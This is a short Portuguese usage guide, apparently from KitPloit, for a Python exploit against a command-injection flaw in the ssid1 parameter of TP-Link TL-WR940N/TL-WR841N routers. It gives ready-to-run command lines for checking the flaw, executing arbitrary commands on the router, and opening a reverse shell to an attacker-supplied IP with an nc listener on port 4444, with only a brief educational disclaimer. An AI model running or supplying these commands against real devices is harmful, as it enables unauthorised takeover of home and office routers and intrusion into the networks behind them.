Exploit em Python para Vulnerabilidade de Injeção de Comandos em TP-Link TL-WR940N/TL-WR841N

Instruções de Uso

1. Verificação Básica de Vulnerabilidade:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. Executar Comando Personalizado:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. Reverse Shell (configure o listener primeiro com nc -lvnp 4444):

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

Notas Importantes:

• Estes scripts são apenas para fins educacionais e de teste
• Sempre obtenha autorização adequada antes de testar qualquer sistema
• O comando de reinicialização é usado como padrão porque não é destrutivo e é facilmente verificável
• O reverse shell pode não funcionar em todas as versões de firmware, pois depende dos binários disponíveis
• Algumas versões de firmware exigem um caminho aleatório na URL, que o script tenta detectar automaticamente

A vulnerabilidade existe devido à sanitização inadequada da entrada no parâmetro ssid1 do endpoint /userRpm/WlanNetworkRpm.htm, permitindo injeção de comandos através de requisições especialmente criadas.